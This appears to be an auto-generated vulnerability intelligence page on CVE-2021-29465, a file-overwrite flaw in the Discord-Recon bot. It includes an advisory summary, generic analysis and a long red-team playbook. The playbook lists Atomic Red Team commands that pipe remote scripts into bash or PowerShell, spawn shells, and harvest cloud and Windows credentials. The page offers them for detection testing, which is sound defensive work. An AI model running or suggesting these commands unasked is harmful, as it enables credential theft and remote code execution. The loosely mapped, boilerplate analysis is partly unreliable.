CVE-2021-29465
Overview
The vulnerability in Discord-Recon versions 0.0.3 and earlier is a command injection flaw stemming from improper handling of command execution results that are written to files. The root cause lies in the bot's mechanism that allows remote attackers to overwrite arbitrary files on the host system with command output, due to insufficient validation or sanitization of file write operations. This affects the component responsible for processing and storing command execution results within the Discord bot's codebase.
Vulnerability Description
Discord-Recon is a bot for the Discord chat service. Versions of Discord-Recon 0.0.3 and prior contain a vulnerability in which a remote attacker is able to overwrite any file on the system with the command results. This can result in remote code execution when the user overwrite important files on the system. As a workaround, bot maintainers can edit their `setting.py` file then add `<` and `>` into the `RCE` variable inside of it to fix the issue without an update. The vulnerability is patched in version 0.0.4.
Impact
An attacker with remote access and limited privileges can exploit this vulnerability to overwrite arbitrary files on the host system, enabling remote code execution by replacing or modifying critical system or application files. This requires the attacker to interact with the bot remotely, but no user interaction is necessary beyond that. Successful exploitation can lead to full system compromise, data tampering, or service disruption. The CVSS vector (AV:N/AC:L/PR:L/UI:N) indicates network attack complexity is low, with privileges required but no user interaction needed.
Solution
To remediate this vulnerability, users must upgrade Discord-Recon to version 0.0.4 or later, where the issue is patched. Alternatively, as a workaround, bot maintainers can edit the setting.py file and add the characters '<' and '>' into the RCE variable to mitigate the flaw without updating the software. Detailed patch instructions and advisory information are available at https://github.com/DEMON1A/Discord-Recon/security/advisories/GHSA-6pp2-rpj3-jcjx.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in Discord-Recon versions 0.0.3 and earlier is characterized by a critical flaw that allows remote attackers to overwrite arbitrary files on the host system. This issue arises from improper handling of command results, which can be manipulated by an attacker to execute commands that write to sensitive files. The lack of adequate input validation and sanitization in the bot's code enables this exploitation, leading to the potential for remote code execution. When an attacker successfully overwrites essential files, they can gain control over the system, execute malicious scripts, or compromise sensitive data.
Attack vectors for this vulnerability are straightforward and can be executed by any remote user with access to the Discord-Recon bot. An attacker could leverage social engineering tactics to trick a user into executing a command that they control, or they could directly interact with the bot if they have the necessary permissions. Once the attacker has access, they can issue commands that result in the overwriting of critical files, such as configuration files or system binaries. This exploitation could lead to a complete takeover of the affected system, allowing the attacker to install additional malware, exfiltrate data, or disrupt services.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on Discord-Recon for communication and community management. The potential for remote code execution poses a severe business risk, as it could lead to data breaches, loss of intellectual property, and reputational damage. Organizations may face regulatory penalties if sensitive data is compromised, and the recovery from such incidents can be costly and time-consuming. Furthermore, the disruption of services due to a successful attack can lead to loss of customer trust and revenue, making it imperative for businesses to address this vulnerability promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. First, it is crucial to update to the patched version of Discord-Recon (0.0.4) to eliminate the underlying flaw. Regularly monitoring and updating software components is a fundamental practice in maintaining security hygiene. Additionally, organizations should conduct thorough security assessments and penetration testing to identify any potential vulnerabilities in their systems. Implementing strict access controls and permissions for bot interactions can also help minimize the risk of exploitation. Furthermore, educating users about the risks associated with executing commands from untrusted sources can reduce the likelihood of social engineering attacks.
In conclusion, the vulnerability in Discord-Recon highlights the importance of secure coding practices and the need for vigilant software maintenance. The potential for remote code execution through file overwriting poses a serious threat to organizations using this bot, necessitating immediate action to mitigate risks. By adopting proactive detection and mitigation strategies, businesses can safeguard their systems against exploitation and ensure the integrity of their operations in an increasingly hostile cyber landscape.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Discord | Discord-Recon | All |
cpe:2.3:a:discord:discord-recon:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-29465 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/DEMON1A/Discord-Recon/security/advisories/GHSA-6pp2-rpj3-jcjx |